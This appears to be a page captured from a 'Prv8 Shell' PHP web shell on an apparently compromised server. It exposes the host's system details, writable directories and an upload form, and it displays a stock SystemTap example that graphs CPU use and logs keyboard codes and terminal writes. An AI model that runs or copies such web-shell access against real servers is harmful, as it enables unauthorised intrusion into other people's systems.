Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/share/systemtap/examples/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/systemtap/examples/general/grapher.stp
#!/usr/bin/stap

probe begin
{
printf ("%%DataSet:cpu 100 00ff00 bar\n");
printf ("%%DataSet:kbd 75 ff0000 discreet\n");
printf ("%%DataSet:pty 50 0000ff discreet\n");
printf ("cpu %%Title:CPU utilization\n");
printf ("cpu %%XAxisTitle:Time\n");
printf ("cpu %%YAxisTitle:Percent\n");
printf ("%%LineEnd:0\n");
}

# CPU utilization
probe begin { qnames["cpu"] ++; qsq_start ("cpu") }
probe scheduler.cpu_on { if (!idle) {qs_wait ("cpu") qs_run ("cpu") }}
probe scheduler.cpu_off { if (!idle) qs_done ("cpu") }

global qnames

function qsq_util_reset(q) {
  u=qsq_utilization (q, 100)
  qsq_start (q)
  return u
}

probe timer.ms(100) {  # collect utilization percentages frequently
  foreach (q in qnames)
    printf("cpu %d %d%c", gettimeofday_ms(), qsq_util_reset(q), 0)
}

probe kernel.function("kbd_event") {
 if ($event_type == 1 && $value)
   printf("kbd %d %d\n0x%x%c", gettimeofday_ms(), $event_code, $event_code, 0)
}

probe kernel.function("pty_write") {
    count = @defined($c) ? $c : $count
    if (count > 0) {
        printf("pty %d ", gettimeofday_ms())
        str = $buf
        for (i = 0; i < count; ++i) {
            if (i > 1)
                printf("\n")
            c = kernel_char(str + i)
            printf("%c", c)
        }
        printf("%c", 0)
    }
}

haha - 2025